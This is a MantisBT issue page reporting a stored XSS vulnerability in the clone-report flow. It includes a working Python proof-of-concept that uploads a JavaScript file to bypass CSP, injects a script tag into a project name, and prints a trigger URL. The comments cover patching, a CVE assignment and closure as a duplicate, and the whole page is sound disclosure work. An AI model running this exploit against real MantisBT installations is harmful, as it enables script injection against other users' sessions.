View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037014 | mantisbt | security | public | 2026-04-12 04:26 | 2026-05-10 07:58 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | duplicate | ||
| Product Version | 2.28.1 | ||||
| Summary | 0037014: Stored XSS in Clone-Report Flow (Manager+) | ||||
| Description | In
Therefore, an attacker with access level "Manager" or above can inject arbitrary HTML code into the project name by either creating a new project or updating an existing project name. Note that the Content Security Policy (CSP) can be bypassed, as mentioned in https://mantisbt.org/bugs/view.php?id=37011. To do so, the victim will need to visit To force the user's current project, the attacker can set the victim's current project ID to | ||||
| Steps To Reproduce |
| ||||
| Additional Information | A Proof-of-Concept MP4 video and the Python script are attached. | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.py (6,467 bytes)
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode
class Poc:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.ISSUE_CATEGORY_GENERAL_ID = 1
self.ISSUE_PUBLIC_VIEW_STATE = 10
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.SET_PROJECT_ENDPOINT = f'{self.baseUrl}/set_project.php'
self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects'
self.REST_UPDATE_PROJECT_ENDPOINT = f'{self.baseUrl}/api/rest/projects/{{project_id}}'
self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT = f'{self.baseUrl}/api/rest/issues?project_id={{project_id}}'
self.ALL_PROJECTS = 0
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def getCurrentUserInfo(self, account):
response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
response.raise_for_status()
return response.json()
def getCSRFToken(self, endpoint, account, csrfTokenName):
response = account['session'].get(endpoint)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': csrfTokenName})['value']
return csrf_token
def uploadJavaScriptFile(self, account, filename, payload):
files = { 'ufile[0]': (filename, payload, 'application/javascript') }
data = {
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
'project_id': account['user_info']['projects'][0]['id'],
'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
'summary': 'CSP Bypass PoC',
'description': 'CSP Bypass PoC',
'view_state': self.ISSUE_PUBLIC_VIEW_STATE
}
response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
return fileEndpoint
def getProjects(self, account):
response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT)
response.raise_for_status()
return response.json()['projects']
def getExploitableProject(self, account):
exploitableProject = None
projects = self.getProjects(account)
for project in projects:
if 'access_level' not in project:
continue
if project['access_level']['name'] not in ['manager', 'administrator']:
continue
exploitableProject = project
break
if not exploitableProject:
raise Exception('No exploitable project found. Please make sure the manager user has at least Manager access level to at least one project.')
return exploitableProject
def getPublicIssuesByProjectId(self, account, projectId):
response = account['session'].get(self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT.replace('{{project_id}}', str(projectId)))
response.raise_for_status()
return response.json()['issues']
def updateProjectName(self, account, projectId, newName):
data = {
'name': newName,
"enabled": True
}
response = account['session'].patch(self.REST_UPDATE_PROJECT_ENDPOINT.replace('{project_id}', str(projectId)), json=data)
response.raise_for_status()
def execute(self, accounts):
# 1. Log in as a user with at least Manager access level to be able to upload files and update project name
self.login(accounts['manager'])
accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager'])
print(f'[+] Logged in as {accounts["manager"]["username"]}')
# 2. Find any exploitable project that allows the manager user to update the project name
exploitableProject = self.getExploitableProject(accounts['manager'])
print(f'[+] Found exploitable project: {exploitableProject["name"]} | ID: {exploitableProject["id"]}')
javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
# 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload)
print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}')
# 4. Get a valid issue ID within the exploitable project to be able to set the project name field in `bug_report_page.php` to the XSS payload
publicIssue = self.getPublicIssuesByProjectId(accounts['manager'], exploitableProject['id'])[0]
# 5. Update the project name to the XSS payload with the uploaded JavaScript file URL to trigger the stored XSS vulnerability when any user visits the `bug_report_page.php` page with the vulnerable project selected
newProjectName = f'<script src="/{XSSFileEndpoint}"></script>'
self.updateProjectName(accounts['manager'], exploitableProject['id'], newProjectName)
print(f'[+] Updated project name to the XSS payload: {newProjectName}')
parameters = {
'project_id': self.ALL_PROJECTS,
'ref': f'{self.CREATE_NEW_ISSUE_PAGE_ENDPOINT.split("/")[-1]}?m_id={publicIssue["id"]}'
}
url = f'{self.SET_PROJECT_ENDPOINT}?{urlencode(parameters)}'
print(f'[*] URL to trigger the stored XSS vulnerability: {url}')
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
accounts = {
'manager': {
'username': 'manager',
'password': 'password',
'session': requests.Session()
}
}
poc = Poc(baseUrl)
poc.execute(accounts) | ||||
|
Advisory: https://github.com/mantisbt/mantisbt/security/advisories/GHSA-rjvr-hf8j-jg2h |
|
|
PR https://github.com/mantisbt/mantisbt-ghsa-rjvr-hf8j-jg2h/pull/1 with patch ready for review |
|
I confirmed the vulnerability can't be reproduced after the patch. LGTM! |
|
|
The CVSS score is also LGTM. |
|
|
Thanks for confirming ! |
|
|
CVE-2026-40609 assigned |
|
|
@siunam, I just realized that this vulnerability is actually a duplicate of 0036986 (CVE-2026-34463), which was previously submitted by another researcher. I Apologize for the confusion - I have many open security issues in parallel at the moment, and failed to notice that this one had already been reported (and fixed, but not yet released). Consequently, I'm going to mark this one as duplicate, and CVE-2026-40609 will be marked as REJECTED. |
|
|
Yep, no problem! |
|